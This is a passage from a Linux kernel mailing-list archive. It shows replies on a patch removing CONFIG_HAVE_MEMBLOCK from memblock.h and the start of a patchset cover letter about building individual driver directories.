        fancer.lancer@gmail.com, Thomas Gleixner <tglx@linutronix.de>
To: rppt@linux.vnet.ibm.com
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 18:56:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5D7E-0000IW-VM
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 18:56:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728555AbeIZXMq (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 19:12:46 -0400
Original-Received: from mail-it1-f193.google.com ([209.85.166.193]:37688 "EHLO
        mail-it1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727280AbeIZXMp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 19:12:45 -0400
Original-Received: by mail-it1-f193.google.com with SMTP id m9-v6so3840326ita.2;
        Wed, 26 Sep 2018 09:58:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=sk4phsQMsWm/uLqtYjyTCCVZkWmOftfD6xEiXH8xJ4U=;
        b=oHraBigdw5BEX0LUXs9GlUBIE7zHK53SIga1HWIx81sxIHv+NoQQonTbfj0UDv0Z+J
         EQSG24+ZrTq2bjXRoMcoLR9rgJsgajjfUmZPLqE2bDOYvYgnz360+UkBGbEDzcJnF0tq
         6K5wSTz3jRyehlYV6yPMPvwuOsdYapx5l6cpXY8Mkbi6V3d1SE8CtJm9K5lGwAdAUrlN
         acztf9YRzQth69K5a8XlkVNbBBuLDtkA07DrDWyTfFom8LBLIbsW7dzc+R1LcNm7lpk9
         76Exn3TO6BvTde5ueWmipdKNRWdyh+ywfJROOPd3cOVszLtHI3cLSo+bqjdR/FhrC/tH
         cEAQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=sk4phsQMsWm/uLqtYjyTCCVZkWmOftfD6xEiXH8xJ4U=;
        b=eQzfdLBGDx2n0RyapX5cjmYJ6twjOf21ab3Na8fORT88gMohtfChtvK2j2jb8kaCFg
         qBy1NOUEdapiPkRhj+99ntmdJS20v87ywnkRvwMD2gjs9qY80DvWBclNgm5FRlFNW2qx
         uR8ia+5odEbahxf+PGsx1IdnhXq7go19xxeDYKHO6LM7ilakUmVuPU2y4rurKWe9TZqR
         yWcKYoQRm5i8sg93l1fPxIOV4xSoqF2vrGVpJliFrGd74BZXR6jZpiJLeRPHiraUo1uy
         VCnJgQl+AadzmK+sIjGE+zo+ZxBmuPV3QLSqxNet8eopIlQo7c4vOmFqsmSeUTElyQHq
         WZvg==
X-Gm-Message-State: ABuFfoiBFkcSiP6X7uOUmVJG8DjPR4YUGNYpxyULUGXXwbvpAVQ5Lq00
        0nkYczvV4CA4Sh6uQX4EMy5qs68ZuMOHuhGk3yo=
X-Google-Smtp-Source: ACcGV61r76+3aUI+rvs9VbR2N0bAv7M/QbDxsEezQCK5N1Ftrt8LN0aVWm4RPYDKt2cA/F5iz5Vl4HGEmxZqV8pRXgw=
X-Received: by 2002:a24:9a83:: with SMTP id l125-v6mr6225072ite.76.1537981132489;
 Wed, 26 Sep 2018 09:58:52 -0700 (PDT)
In-Reply-To: <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882565 gmane.linux.kernel.mm:204025 gmane.linux.ports.alpha:5265 gmane.linux.ports.arm.kernel:676513 gmane.linux.ports.hexagon:1875 gmane.linux.ports.ia64:29291 gmane.linux.ports.mips.general:66867 gmane.linux.ports.parisc:29021 gmane.linux.ports.ppc64.devel:163088 gmane.linux.ports.riscv:909 gmane.linux.ports.sh.devel:57555 gmane.linux.kernel.arc:4464 gmane.linux.ports.sparc:28478
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882565>

On Fri, Sep 14, 2018 at 5:11 AM Mike Rapoport <rppt@linux.vnet.ibm.com> wrote:
>
> All architecures use memblock for early memory management. There is no need
> for the CONFIG_HAVE_MEMBLOCK configuration option.
>
> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>

<snip>

> diff --git a/include/linux/memblock.h b/include/linux/memblock.h
> index 5169205..4ae91fc 100644
> --- a/include/linux/memblock.h
> +++ b/include/linux/memblock.h
> @@ -2,7 +2,6 @@
>  #define _LINUX_MEMBLOCK_H
>  #ifdef __KERNEL__
>
> -#ifdef CONFIG_HAVE_MEMBLOCK
>  /*
>   * Logical memory blocks.
>   *
> @@ -460,7 +459,6 @@ static inline phys_addr_t memblock_alloc(phys_addr_t size, phys_addr_t align)
>  {
>         return 0;
>  }
> -#endif /* CONFIG_HAVE_MEMBLOCK */
>
>  #endif /* __KERNEL__ */

There was an #else above this section and I believe it and the code
after it needs to be stripped as well.


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 03/30] mm: remove CONFIG_HAVE_MEMBLOCK
Date: Wed, 26 Sep 2018 21:31:53 +0300
Lines: 42
Approved: news@gmane.org
Message-ID: <20180926183152.GA4597@rapoport-lnx>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
 <CAKgT0UdP=78RsWHMxFu4PD8a3AhA3eNcG68Z_9aGY0vhOKf7xA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537986617 6853 195.159.176.226 (26 Sep 2018 18:30:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 18:30:17 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-mm <linux-mm@kvack.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>, chris@zankel.net,
        David Miller <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>, green.hu@gmail.com,
        Greg KH <gregkh@linuxfoundation.org>, gxt@pku.edu.cn,
        Ingo Molnar <mingo@redhat.com>, jejb@parisc-linux.org,
        jonas@southpole.se, Jonathan Corbet <corbet@lwn.net>,
        lftan@altera.com, msalter@redhat.com,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        mattst88@gmail.com, mpe@ellerman.id.au,
        Michal Hocko <mhocko@suse.com>, monstr@monstr.eu,
        palmer@sifive.com, paul.burton@mips.com, rkuo@codeaurora.org,
        richard@nod.at, dalias@libc.org,
        Russell King - ARM Linux <linux@armlinux.org.uk>,
        fancer.lancer@gmail.com, Thomas Gleixner <tglx@linutronix.de>
To: Alexander Duyck <alexander.duyck@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 20:30:09 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5EZc-0000Kp-UF
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 20:30:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728769AbeI0Aqb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 20:46:31 -0400
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:39520 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1725848AbeI0Aqb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 20:46:31 -0400
Original-Received: from pps.filterd (m0098404.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w8QIUDRB024755
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 14:32:16 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
        by mx0a-001b2d01.pphosted.com with ESMTP id 2mreu4hv2r-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 14:32:15 -0400
Original-Received: from localhost
        by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.vnet.ibm.com>;
        Wed, 26 Sep 2018 19:32:12 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
        by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Wed, 26 Sep 2018 19:32:00 +0100
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com [9.149.105.59])
        by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w8QIVxwW65994892
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Wed, 26 Sep 2018 18:31:59 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 826B4A405D;
        Wed, 26 Sep 2018 21:31:40 +0100 (BST)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 0C9ACA4040;
        Wed, 26 Sep 2018 21:31:36 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.204.125])
        by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Wed, 26 Sep 2018 21:31:35 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <CAKgT0UdP=78RsWHMxFu4PD8a3AhA3eNcG68Z_9aGY0vhOKf7xA@mail.gmail.com>
X-TM-AS-GCONF: 00
x-cbid: 18092618-0020-0000-0000-000002CBF8A0
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18092618-0021-0000-0000-0000211A1CA6
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-09-26_08:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809260172
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882683 gmane.linux.kernel.mm:204030 gmane.linux.ports.alpha:5266 gmane.linux.ports.arm.kernel:676534 gmane.linux.ports.hexagon:1876 gmane.linux.ports.ia64:29292 gmane.linux.ports.mips.general:66868 gmane.linux.ports.parisc:29022 gmane.linux.ports.ppc64.devel:163090 gmane.linux.ports.riscv:910 gmane.linux.ports.sh.devel:57556 gmane.linux.kernel.arc:4465 gmane.linux.ports.sparc:28479
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882683>

On Wed, Sep 26, 2018 at 09:58:41AM -0700, Alexander Duyck wrote:
> On Fri, Sep 14, 2018 at 5:11 AM Mike Rapoport <rppt@linux.vnet.ibm.com> wrote:
> >
> > All architecures use memblock for early memory management. There is no need
> > for the CONFIG_HAVE_MEMBLOCK configuration option.
> >
> > Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
> 
> <snip>
> 
> > diff --git a/include/linux/memblock.h b/include/linux/memblock.h
> > index 5169205..4ae91fc 100644
> > --- a/include/linux/memblock.h
> > +++ b/include/linux/memblock.h
> > @@ -2,7 +2,6 @@
> >  #define _LINUX_MEMBLOCK_H
> >  #ifdef __KERNEL__
> >
> > -#ifdef CONFIG_HAVE_MEMBLOCK
> >  /*
> >   * Logical memory blocks.
> >   *
> > @@ -460,7 +459,6 @@ static inline phys_addr_t memblock_alloc(phys_addr_t size, phys_addr_t align)
> >  {
> >         return 0;
> >  }
> > -#endif /* CONFIG_HAVE_MEMBLOCK */
> >
> >  #endif /* __KERNEL__ */
> 
> There was an #else above this section and I believe it and the code
> after it needs to be stripped as well.

Right, I've already sent the fix [1] and it's in mmots.

[1] https://lkml.org/lkml/2018/9/19/416

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexander Duyck <alexander.duyck@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 03/30] mm: remove CONFIG_HAVE_MEMBLOCK
Date: Wed, 26 Sep 2018 17:34:32 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <CAKgT0UcC-GTtyPK9ynvj6r3YFqy8kE40iMJxzPowbNoXGf9iWg@mail.gmail.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
 <CAKgT0UdP=78RsWHMxFu4PD8a3AhA3eNcG68Z_9aGY0vhOKf7xA@mail.gmail.com> <20180926183152.GA4597@rapoport-lnx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538008372 23730 195.159.176.226 (27 Sep 2018 00:32:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 00:32:52 +0000 (UTC)
Cc: linux-mm <linux-mm@kvack.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>, chris@zankel.net,
        David Miller <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>, green.hu@gmail.com,
        Greg KH <gregkh@linuxfoundation.org>, gxt@pku.edu.cn,
        Ingo Molnar <mingo@redhat.com>, jejb@parisc-linux.org,
        jonas@southpole.se, Jonathan Corbet <corbet@lwn.net>,
        lftan@altera.com, msalter@redhat.com,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        mattst88@gmail.com, mpe@ellerman.id.au,
        Michal Hocko <mhocko@suse.com>, monstr@monstr.eu,
        palmer@sifive.com, paul.burton@mips.com, rkuo@codeaurora.org,
        richard@nod.at, dalias@libc.org,
        Russell King - ARM Linux <linux@armlinux.org.uk>,
        fancer.lancer@gmail.com, Thomas Gleixner <tglx@linutronix.de>
To: rppt@linux.vnet.ibm.com
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 02:32:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5KEV-0005xL-QB
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 02:32:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726914AbeI0GuR (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 02:50:17 -0400
Original-Received: from mail-it1-f193.google.com ([209.85.166.193]:52120 "EHLO
        mail-it1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726298AbeI0GuR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 02:50:17 -0400
Original-Received: by mail-it1-f193.google.com with SMTP id 74-v6so3902378itw.1;
        Wed, 26 Sep 2018 17:34:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=aCL+Y3Elp9js0tskQ42GEDjYhI0l5SAZZjTRQ2rGzW4=;
        b=gWktOBfbdrBncdviL20J5F04FWoaz6YrOuZLdcCDBv1a1+de7firBMdo56D5siKbuP
         knUUB/mvtfUFAgKRLK6W3vSmF/mpPs+gnm6yp5S+r9Ha9FPHQr2nPuRnqXV2poXWKJJ3
         HIOfbb4fDeKHAeNv1BJcfuUtpb1jGZYjKdkWtTH9UaLxMDvX8nuhR5WKVgZkkOz9BpEd
         CI7OaIPDPdJciw65l552y88iAqeLkftXzSYBxY3FdNga0rrtQBxT8YIewUygbcNpeekX
         N1FJ36m7Pb9UOF1rdrmYpWB/Tlp8yZqialQsEs2ivoPFIrl6lxYgw/zD3yJUoC9cbydD
         y/kA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=aCL+Y3Elp9js0tskQ42GEDjYhI0l5SAZZjTRQ2rGzW4=;
        b=bOk2SQIDQa9qg2j0oTCXzJcVx08eoORVxGGHKVN1Cabg9OpQ53YulLZB5TUlws2oPh
         H0ZGCDfALRwXzvGKulmeW1WYZJypZ6RcuVYGkr/MmdyHnd5QD0QRSNOEKLBWzeRW0Gof
         XaIOuktmh+J1PhpkWpFij4/66BNSY4QG2aZ2BvS4e4v7gF38Fs/4vLdzf3yXiSDwKNoO
         j5X1s4wILLQo1bUuxjLn0L0kVujX4GKATy6GaMrrWp5dBvzQ0ymHKQBdz7OJYIiBRpVW
         nFK+hUdHfodStPW9rTCQBC5aaFsUxQeQmNIfjU3MNCtbjpWQqGlTQBImXg3WzM+E/4jO
         +KGw==
X-Gm-Message-State: ABuFfojG1t/W3MrfOM7rpFN6XUWovS/NsciycGaWSP4iVSV9rr1r6Inj
        qt+t/ZpYtrStzf4H/91sDCq/6cb6M2rckgEEh68=
X-Google-Smtp-Source: ACcGV60OAZQmP5vY8eqKtSx1NklVALWsgxgzNJor5OtZ8jnmAORXbLTb9Endu8EQp7BjsTC54YL6VZvdYwYvpa0EezA=
X-Received: by 2002:a02:7a12:: with SMTP id a18-v6mr7812760jac.42.1538008483880;
 Wed, 26 Sep 2018 17:34:43 -0700 (PDT)
In-Reply-To: <20180926183152.GA4597@rapoport-lnx>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882968 gmane.linux.kernel.mm:204055 gmane.linux.ports.alpha:5267 gmane.linux.ports.arm.kernel:676578 gmane.linux.ports.hexagon:1877 gmane.linux.ports.ia64:29293 gmane.linux.ports.mips.general:66877 gmane.linux.ports.parisc:29023 gmane.linux.ports.ppc64.devel:163095 gmane.linux.ports.riscv:911 gmane.linux.ports.sh.devel:57557 gmane.linux.kernel.arc:4467 gmane.linux.ports.sparc:28486
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882968>

On Wed, Sep 26, 2018 at 11:32 AM Mike Rapoport <rppt@linux.vnet.ibm.com> wrote:
>
> On Wed, Sep 26, 2018 at 09:58:41AM -0700, Alexander Duyck wrote:
> > On Fri, Sep 14, 2018 at 5:11 AM Mike Rapoport <rppt@linux.vnet.ibm.com> wrote:
> > >
> > > All architecures use memblock for early memory management. There is no need
> > > for the CONFIG_HAVE_MEMBLOCK configuration option.
> > >
> > > Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
> >
> > <snip>
> >
> > > diff --git a/include/linux/memblock.h b/include/linux/memblock.h
> > > index 5169205..4ae91fc 100644
> > > --- a/include/linux/memblock.h
> > > +++ b/include/linux/memblock.h
> > > @@ -2,7 +2,6 @@
> > >  #define _LINUX_MEMBLOCK_H
> > >  #ifdef __KERNEL__
> > >
> > > -#ifdef CONFIG_HAVE_MEMBLOCK
> > >  /*
> > >   * Logical memory blocks.
> > >   *
> > > @@ -460,7 +459,6 @@ static inline phys_addr_t memblock_alloc(phys_addr_t size, phys_addr_t align)
> > >  {
> > >         return 0;
> > >  }
> > > -#endif /* CONFIG_HAVE_MEMBLOCK */
> > >
> > >  #endif /* __KERNEL__ */
> >
> > There was an #else above this section and I believe it and the code
> > after it needs to be stripped as well.
>
> Right, I've already sent the fix [1] and it's in mmots.
>
> [1] https://lkml.org/lkml/2018/9/19/416
>

Are you sure? The patch you reference appears to be for
drivers/of/fdt.c, and the bit I pointed out here is in
include/linux/memblock.h.

- Alex


From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 0/7] Remove errors building drivers/DRIVERNAME
Date: Wed, 26 Sep 2018 22:39:20 -0300
Lines: 50
Approved: news@gmane.org
Message-ID: <20180927013920.GA8950@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012251 10957 195.159.176.226 (27 Sep 2018 01:37:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:37:31 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:37:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LF5-0002iB-Bu
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:37:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727223AbeI0HzR (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:55:17 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:36601 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726929AbeI0HzR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:55:17 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id e26-v6so1106470qtq.3;
        Wed, 26 Sep 2018 18:39:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=5go+oaIqr2Jp5Hbi98ghcAbeh9VmtpnhlU6dDnKN42U=;
        b=ByDxL5etxmnJyTXXTfNAYws/OaZVxOtA8xxLheMa743t2+bnN2m+NOSMAn+uPr9XzW
         iaa/9HsuNZ9Q0vQ2zlU7HSAImsvwF8xLtAfjq/ricu9pku4VOeYhK2a5W3gCbZYqlVKq
         jisZtNmrQ7KNIrr8a9F+cs1YefLkkqdEGWmHkNdC/1JyScom3O/N//EGrp/P3fFKtxNR
         9DtTY1jdpogwA22g29dlaHNcNCRNMDkiMf9zmieb28VGr0qk32LkkV36rTs1h0UvjL3c
         Du9SUzME02Hv7VDj20ldRRhd8eXQozQed5BO4jOcuNUU7cN+wXZTv9FefEbf6brhNcT1
         4enw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=5go+oaIqr2Jp5Hbi98ghcAbeh9VmtpnhlU6dDnKN42U=;
        b=S3D3Bb+Ve7OAd/j5KUXDY9sFex3tu+XFBarjLukiGVYlcC+660ths59AN8S/Dj3YlQ
         6hYLRtUL3mfD0Sbhva6j59lf5WiJCLx9YfVJYLCr6Ute3O1n1KlFr9JQH2HJHBWD1Z53
         P+iEUGGB+TPklvQujvmY/F1bCa/lhJuypGQFtGJ464T7+Mr4qbEVWGAMrMTuR1ZaAoaF
         2z5erGWCP0X/vqKOQL5UMg1w2H4apv6pyHJ8sJqY/Vl9xnQea1lIqLTo7oBFdPwFnS6G
         GoctytU6+vdKrf0bC8Aim19zIidr/JwOGotigRTw6xaqgHTkeNUD9Wn66mBOPZvqJlTQ
         anxQ==
X-Gm-Message-State: ABuFfoi2GEy7GrzxnfKQyafCp9evBnOsPbejY/TtWBbrPbR5CjsNTqH+
        9mUbmdMuVkDN75KGoiY+p4w=
X-Google-Smtp-Source: ACcGV60YhnjCUUisYDO0f1a0973E7dD/MX5NAkPGb1zTORvSHOvDWkqIO536iuoK2LiHl8n8Xzl2Vw==
X-Received: by 2002:ac8:1967:: with SMTP id g36-v6mr4955911qtk.193.1538012370754;
        Wed, 26 Sep 2018 18:39:30 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id w5-v6sm454102qkw.69.2018.09.26.18.39.23
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:39:30 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883014 gmane.linux.oprofile:13228 gmane.linux.ports.parisc:29024
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883014>

Special thanks for the feedback from:
- Finn Thain (I fixed the build problem) 
- Geert Uytterhoeven (The cross compilers were very useful)
- Rolf Eike Beer (Was unintentional, thanks for noticing)

This Patchset changes some driver's Makefile to allow them building
using the command 'make drivers/DRIVERNAME', if compatible.

The changed drivers would return error if the above command was run
on them, after an x86 allyesconfig.

The main reason of this patchset is to allow building lists of
drivers looking for warnings and errors to be fixed. 

I see this change as a new feature, not a bugfix. I understand 
the default bahavior may be building with a simple 'make', but I
believe adding this new possibility will not be harmful.

My main objective is to allow developers with low processing power
to do changes in the kernel and look bugs using free services like
GiltabCI, before submitting to community.

If there is any interest helping/using this, I have a prototype in:
https://gitlab.com/LeoBras/linux-next

Leonardo Brás (7):
  drivers: dio: Avoids building driver if CONFIG_DIO is disabled
  drivers: nubus: Avoids building driver if CONFIG_NUBUS is disabled
  drivers: parisc: Avoids building driver if CONFIG_PARISC is disabled
  drivers: zorro: Avoids building proc.o if CONFIG_ZORRO is disabled
  drivers: s390: Avoids building drivers if ARCH is not s390.
  drivers: oprofile: Avoids building driver from direct make command
  drivers: hwtracing: Adds Makefile to enable building from directory.

 drivers/Makefile           | 4 +---
 drivers/dio/Makefile       | 2 +-
 drivers/hwtracing/Makefile | 3 +++
 drivers/nubus/Makefile     | 5 +++--
